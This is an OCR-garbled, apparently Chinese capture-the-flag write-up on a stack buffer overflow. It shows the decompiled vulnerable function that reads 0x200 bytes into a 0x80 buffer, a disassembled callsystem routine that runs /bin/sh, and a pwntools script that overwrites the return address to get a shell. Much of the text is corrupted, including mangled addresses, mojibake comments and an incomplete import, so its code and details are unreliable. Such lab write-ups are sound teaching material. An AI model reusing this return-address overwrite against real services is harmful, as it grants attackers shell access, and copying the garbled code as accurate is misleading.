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1lint _ cdecl main(int argc, censt char **argv, const char **enwvp)
2q
3| write(l, "Hello, World\n™, @xDuLL);
4| return vulnerable_function();
51}
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Jssize_t wulnerable_function()
o
i| char buf; // [rsp+@h] [rbp-8eh]
i| return read(@, &buf, Bx288ulL);

i

buf# 4 85 35 % Wi W i rsp Oh, B 55 4% i T 38 rbp>4 80h, W] %1 bufk & 55 0x80.
& vulnerable® % £z

-88 db ? : undefined
-89 db ? ; undefined
-8e db ? ; undefined
-8e db ? ; undefined
-80 db ? ; undefined
2e db ? ; undefined
-0000000000000814 db ? ; undefined
db ? : undefined
db ? ; undefined
db ? ; undefined
db ? ; undefined
db ? ; undefined
db ? ; undefined
db ? ; undefined
db ? : undefined
-89 db ? ; undefined
-8e db ? ; undefined
-8e db ? ; undefined
-80 db ? ; undefined
-8e db ? ; undefined
-8e db ? ; undefined
-88 db ? : undefined
-89 db ? ; undefined
-8e db ? ; undefined
-8e db ? ; undefined
-80 db ? ; undefined
+88 s db 8 dup(?)
+ r db & dup

sft & save ebp, K &84 F i

ri&return address, K E 8N 71, BHE R EBFHIN 7.
....................... 3 meemiem
Ltext: 00BE820000406596 push rbp
Ltext:pepapapapa4aB597 mow rbp, rsp
. text: pepapaa0a180594 mav edi, offset command ; "/bin/sh”
.text:00080020040059F call _system
.text: 00000000004065A4 pop rbp
LLext:pepapapapa4apsAS retn
.text:oaoRoR0B084885A5 ; } // starts at 488596
.text:pe0000808884805A5 callsystem endp

& F callsystemi £, RS Bk 5 0x400596
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e return addressH callsystemi® i bt B 2%, KW shell.

T ¥ kali, & 37 exp

python2
from pwn import
54314) #EEERFFTELE, FRTnc ip M
# VAELFXCH#ERiEElevelosX i, BT B NX RS
elf.symbols # FREELF3CfFH callsystembric bk

0x88+p64(sysaddr) #Ox80Ffibuf,0x8F fisave ebp, sysaddrBzireturn address
# Bt “Hello World”
r.sendline(payload) # Ki%¥payload
r.interactive() # K#shellBfTRXE




[*] Switching to interactive mode
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